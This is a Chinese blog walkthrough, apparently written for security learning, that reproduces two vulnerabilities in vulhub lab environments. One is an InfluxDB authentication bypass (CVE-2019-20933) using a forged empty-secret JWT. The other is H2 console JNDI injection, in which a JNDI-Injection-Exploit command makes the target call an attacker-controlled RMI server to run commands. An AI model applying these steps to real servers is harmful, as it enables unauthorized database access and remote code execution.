数据库漏洞-Influxdb+H2database 复现

什么是服务?

在服务器操作系统安装的时候,会装了比较多的服务。如我们在安装使用mysq数据库时,默认情况下就会开启mysql服务和服务默认端口3306。这些服务就可能产生漏洞。

服务漏洞测试流程:

案例演示: Influxdb-未授权访问-Jwt验证不当

漏洞产生版本和原因:

       1.7.6 之前的 InfluxDB 在 services/httpd/handler.go 中的身份验证函数中存在身份验证绕过漏洞,因为 JWT 令牌可能具有空的共享密钥(也称为共享密钥)

使用vulhub靶场开启CVE-2019-20933漏洞环境:

访问环境发现啥也不是

访问/debug/vars可以看到一些系统信息和数据库版本信息1.6.6,说明存在漏洞

访问/query,提示需要登录

我们可以使用 JSON Web Tokens - jwt.io 生成一个带有空密钥的有效 JWT 令牌来绕过身份验证:

{

  "alg": "HS256",

  "typ": "JWT"

}

{

  "username": "admin",

  "exp": 1696118888

}

其中 username 是管理员帐户名, exp 是令牌过期时间。我们要将 exp 设置为将来的时间使其生效,以上令牌过期时间是2023年10月1日8点8分8秒。

注意:生成jwt令牌时验证签名要为空

时间戳生成网址:https://www.w3cschool.cn/tools/index?name=timestamptrans

抓取/query页面的数据包,将Get请求更改为Post请求,在请求中添加令牌,并且添加 POST 请求键值对:db=sample&q=show users

然而发包却返回400,最后发现是需要在请求中添加:Content-Type:application/x-www-form-urlencoded  用来指示资源的MIME类型。

加上Content-Type重新发包,成功查询到结果

案例演示:H2database-未授权访问-配置不当

漏洞产生原因:

         H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权和默认端口:

spring.h2.console.enabled=true 

spring.h2.console.settings.web-allow-others=true 

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

使用vulhub靶场开启H2 Database Console 未授权访问 漏洞环境

访问发现啥也不是

访问/h2-console/来到H2 database的默认管理页面

下载漏洞利用工具:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

在攻击者要接收请求的服务器上执行命令:

参数:-C  要执行的命令   -A 接收请求的服务器ip

命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A "服务器ip"

来到目标数据库管理页面填写连接表格:

JNDI 工厂类名:javax.naming.InitialContext

生成的rmi协议地址:rmi://x.x.x.x/xxx

点击链接,攻击者服务器成功接收到目标请求

命令执行成功,目标tmp目录下成功生成一个success文件

未连接时

连接后

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值